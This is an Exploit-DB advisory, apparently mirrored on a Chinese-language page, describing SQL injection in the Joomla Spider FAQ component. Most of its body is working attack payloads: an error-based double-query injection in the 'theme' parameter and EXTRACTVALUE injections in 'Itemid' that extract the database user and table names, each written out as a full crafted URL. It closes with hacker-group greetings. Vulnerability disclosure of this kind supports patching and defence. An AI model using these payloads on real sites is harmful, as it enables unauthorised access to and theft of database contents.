Joomla! Component Spider FAQ – SQL Injection

• Exploit Database
• 15 阅读

• 作者： Manish Tanwar
  日期： 2015-03-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36464/

• ##################################################################################################
  #Exploit Title : Joomla Spider FAQ component SQL Injection vulnerability
  #Author: Manish Kishan Tanwar AKA error1046
  #Vendor Link : http://demo.web-dorado.com/spider-faq.html
  #Date: 21/03/2015
  #Discovered at : IndiShell Lab
  #Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Incredible,Kishan Singh and ritu rathi
  #Discovered At : Indishell Lab
  ##################################################################################################
  
  ////////////////////////
  /// Overview:
  ////////////////////////
  
  
  joomla component Spider FAQ is not filtering data in theme and Itemid parameters
  and hence affected from SQL injection vulnerability 
  
  ///////////////////////////////
  // Vulnerability Description:
  ///////////////////////////////
  vulnerability is due to theme and Itemid parameter 
  
  ////////////////
  ///POC ////
  ///////////////
  
  POC image=http://oi57.tinypic.com/2rh1zk7.jpg
  
  SQL Injection in theme parameter
  =================================
  
  Use error based double query injection with theme parameter
  Like error based double query injection for exploiting username --->
  and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - 
  
  Injected Link--->
  http://website.com/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4 and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - &searchform=1&expand=0&Itemid=109
  
  
  SQL Injection in Itemid parameter
  =================================
  
  Itemid Parameter is exploitable using xpath injection 
  
  User extraction payload
  ------------------------
  ' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- -
  
  crafted URL--->
  http://localhostm/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- -
  
  Table extraction
  -----------------
  ' and extractvalue(6678,concat(0x7e,(selecttable_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- -
  
  Crafted URL---->
  http://localhost/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' and extractvalue(6678,concat(0x7e,(selecttable_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- -
  
   --==[[ Greetz To ]]==--
  ############################################################################################
  #Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, 
  #Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
  #Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
  #Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
  #############################################################################################
   --==[[Love to]]==--
  # My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
  #Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik)
   --==[[ Special Fuck goes to ]]==--
  <3suriya Cyber Tyson <3